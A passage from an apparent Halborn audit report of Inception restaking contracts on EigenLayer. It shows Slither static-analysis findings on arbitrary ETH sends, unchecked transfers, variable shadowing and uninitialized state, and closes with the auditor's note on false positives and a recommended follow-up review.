INFO:Detectors:
TimelockController._execute(address,uint256,bytes) (node_modules/@openzeppelin/contracts/governance/TimelockController.sol#353-356) sends eth to arbitrary user
        Dangerous calls:
        - (success) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/governance/TimelockController.sol#354)
LidoMockPool.submit(address) (contracts/tests/Lido/LidoMockPool.sol#22-32) sends eth to arbitrary user
        Dangerous calls:
        - owner.transfer(address(this).balance) (contracts/tests/Lido/LidoMockPool.sol#31)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations
INFO:Detectors:
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#55-134) has bitwise-xor operator ^ instead of the exponentiation operator **:
        - inverse = (3 * denominator) ^ 2 (node_modules/@openzeppelin/contracts/utils/math/Math.sol#116)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-exponentiation
INFO:Detectors:
EigenLayerHandler.__reserver (contracts/Inception/eigenlayer-handler/EigenLayerHandler.sol#49) shadows:
        - InceptionAssetsHandler.__reserver (contracts/Inception/assets-handler/InceptionAssetsHandler.sol#21)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing
INFO:Detectors:
InceptionRestaker.depositAssetIntoStrategy(uint256) (contracts/Inception/restaker/InceptionRestaker.sol#69-75) ignores return value by _asset.transferFrom(_vault,address(this),amount) (contracts/Inception/restaker/InceptionRestaker.sol#71)
InceptionRestaker2.depositAssetIntoStrategy(uint256) (contracts/Inception/restaker/InceptionRestakerTemp.sol#58-61) ignores return value by _asset.transferFrom(_vault,address(this),amount) (contracts/Inception/restaker/InceptionRestakerTemp.sol#59)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer
INFO:Detectors:
InceptionRestaker2._asset (contracts/Inception/restaker/InceptionRestakerTemp.sol#24) is never initialized. It is used in:
        - InceptionRestaker2.depositAssetIntoStrategy(uint256) (contracts/Inception/restaker/InceptionRestakerTemp.sol#58-61)
InceptionRestaker2._trusteeManager (contracts/Inception/restaker/InceptionRestakerTemp.sol#27) is never initialized. It is used in:
InceptionRestaker2._vault (contracts/Inception/restaker/InceptionRestakerTemp.sol#30) is never initialized. It is used in:
        - InceptionRestaker2.depositAssetIntoStrategy(uint256) (contracts/Inception/restaker/InceptionRestakerTemp.sol#58-61)
InceptionRestaker2._delegationManager (contracts/Inception/restaker/InceptionRestakerTemp.sol#34) is never initialized. It is used in:
        - InceptionRestaker2.delegateToOperator(address,bytes32,IDelegationManager.SignatureWithExpiry) (contracts/Inception/restaker/InceptionRestakerTemp.sol#64-70)
        - InceptionRestaker2.getOperatorAddress() (contracts/Inception/restaker/InceptionRestakerTemp.sol#76-78)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-state-variables
```

All issues identified by Slither were proved to be false positives or have been added to the issue list in this report.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.